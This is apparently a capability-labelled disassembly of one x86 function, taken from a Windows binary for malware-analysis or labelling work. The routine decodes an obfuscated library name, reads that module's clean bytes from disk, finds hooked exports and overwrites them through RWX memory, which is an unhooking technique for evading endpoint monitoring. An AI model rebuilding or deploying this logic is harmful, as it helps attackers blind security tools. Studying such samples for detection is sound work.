Function at 0x401920
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file via mapping
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x462040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x238], 0x10b
mov dword [ebp - 0x234], 0x20b
mov byte [ebp - 0x230], 0
mov byte [ebp - 0x22f], 0x5e
mov byte [ebp - 0x22e], 0x66
mov byte [ebp - 0x22d], 0
mov byte [ebp - 0x22c], 0x5a
mov byte [ebp - 0x22b], 0x66
mov byte [ebp - 0x22a], 8
mov byte [ebp - 0x229], 0x54
mov byte [ebp - 0x228], 0x2b
mov byte [ebp - 0x227], 6
mov byte [ebp - 0x226], 0x3d
mov byte [ebp - 0x225], 8
mov byte [ebp - 0x224], 8
mov byte [ebp - 0x223], 0x19
mov al, byte [ebp - 0x22f]
mov al, byte [ebp - 0x230]
push ebx
mov ebx, ecx
mov dword [ebp - 0x240], ebx
push esi
push edi
test al, al
jne 0x4019fa
xor esi, esi
lea edi, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x22f]
movzx ecx, al
sub ecx, 0x19
mov eax, ecx
shl eax, 5
sub eax, ecx
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x22f], dl
inc esi
cmp esi, 0xd
jb 0x4019d0
lea eax, [ebp - 0x22f]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push bind
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x401c94
lea eax, [ebp - 0x220]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x220]
test ebx, ebx
je 0x401c8d
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
je 0x401c8d
push ebx
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov dword [ebp - 0x248], ebx
test ebx, ebx
je 0x401c70
mov edx, dword [ebx + 0x3c]
add edx, ebx
movzx ecx, word [edx + 0x18]
cmp ecx, dword [ebp - 0x238]
jne 0x401aae
lea ecx, [edx + 0x78]
jmp 0x401ac4
movzx eax, word [edx + 0x18]
cmp eax, dword [ebp - 0x234]
jne 0x401c70
lea ecx, [edx + 0x88]
mov ecx, dword [ecx]
mov edx, ebx
call fcn.00401890
mov ecx, dword [ebx + eax + 0x20]
mov edx, ebx
lea edi, [ebx + eax]
mov dword [ebp - 0x23c], edi
call fcn.00401890
mov ecx, dword [edi + 0x24]
mov edx, ebx
lea esi, [ebx + eax]
mov dword [ebp - 0x234], esi
call fcn.00401890
mov ecx, dword [ebp - 0x23c]
lea edi, [ebx + eax]
mov ecx, dword [ecx + 0x18]
mov dword [ebp - 0x238], edi
test ecx, ecx
je 0x401c94
nop
dec ecx
mov edx, ebx
mov dword [ebp - 0x244], ecx
mov ecx, dword [esi]
call fcn.00401890
mov edx, ebx
lea esi, [ebx + eax]
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax + 0x1c]
call fcn.00401890
movzx ecx, word [edi]
add eax, ebx
mov edx, ebx
mov ecx, dword [eax + ecx*4]
call fcn.00401890
xor ecx, ecx
cmp byte [eax + ebx], cl
lea edi, [eax + ebx]
je 0x401c3d
cmp ecx, 0x80
jge 0x401c3d
mov al, byte [ecx + edi]
cmp al, 0x61
jl 0x401bb2
cmp al, 0x7a
jle 0x401bd0
push esi
push dword [ebp - 0x240]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401c3d
mov al, byte [esi]
cmp al, 0xe9
je 0x401b96
cmp al, 0xff
jne 0x401c3d
cmp byte [esi + 1], 0x25
jne 0x401c3d
test edi, edi
je 0x401beb
xor ebx, ebx
xor eax, eax
nop
mov cl, byte [eax + edi]
cmp cl, byte [eax + esi]
jb 0x401be4
ja 0x401bdd
inc eax
cmp eax, 2
jb 0x401ba0
jmp 0x401be7
cmp al, 0x41
jl 0x401bba
cmp al, 0x5a
jle 0x401bd0
cmp al, 0x30
jl 0x401bc4
cmp al, 0x39
jg 0x401bc8
jmp 0x401bd0
cmp al, 0x2e
je 0x401bd0
cmp al, 0x5f
je 0x401bd0
cmp al, 0x2d
jne 0x401b67
inc ecx
cmp byte [ecx + edi], 0
jne 0x401b50
jmp 0x401c3d
mov ebx, 1
jmp 0x401be7
or ebx, 0xffffffff
test ebx, ebx
je 0x401c3d
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x214]
push eax
push 0x40
push 0x40
push esi
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x218], 0
call ebx
test eax, eax
je 0x401c94
movq xmm0, qword [edi]
movq qword [esi], xmm0
mov ax, word [edi + 8]
mov word [esi + 8], ax
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x214]
push 0x40
push esi
call ebx
test eax, eax
je 0x401c94
mov esi, dword [ebp - 0x234]
mov edi, dword [ebp - 0x238]
add esi, 4
mov ecx, dword [ebp - 0x244]
add edi, 2
mov dword [ebp - 0x234], esi
mov dword [ebp - 0x238], edi
test ecx, ecx
je 0x401c94
mov ebx, dword [ebp - 0x248]
jmp 0x401b10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00434f21
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00434f21
mov esp, ebp
pop ebp
ret